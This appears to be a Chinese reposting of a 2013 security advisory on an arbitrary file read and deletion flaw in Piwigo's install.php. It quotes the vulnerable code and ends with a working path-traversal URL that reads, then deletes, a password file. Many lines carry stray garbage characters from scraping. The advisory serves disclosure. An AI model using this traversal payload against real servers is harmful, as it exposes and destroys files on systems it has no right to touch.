Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
0 n2 c- [3 ]" b, ^% m" e5 {; O====================================================================
0 s, K  b" F0 _; y0 T' B9 v/install.php:
3 f. ^1 A6 k+ i4 J- D6 O3 G. s-------------
5 p' x& Y4 q. F113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
& n9 }8 W0 F( v* B8 v114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
  k( U( L4 j1 c6 \1 x# e. C116:   header('Cache-Control: no-cache, must-revalidate');
8 h* A2 N, Z" I117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
0 b' Y' p/ ]+ z" j, \119:   header('Content-Transfer-Encoding: binary');
% R2 A* \  j6 N; f+ Y120:   header('Content-Length: '.filesize($filename));
: J& M7 E" D/ G121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
$ J2 J# j7 S3 F9 W$ g" v+ S====================================================================

; L2 |* }) r* v* p1 TTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a
- b7 l' T6 p1 X7 n  @
% Y5 `. J. U9 s9 a6 ~4 ?( aVulnerability discovered by Gjoko 'LiquidWorm' Krstic
2 t6 E% J' b+ @9 G                            @zeroscience
4 }1 n# q0 G8 E$ m$ u* N( C
Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
2 v4 R+ P7 v5 M1 ~9 iVendor Patch: http://piwigo.org/bugs/view.php?id=2843

% E, _( |* E6 Y15.02.2013
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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt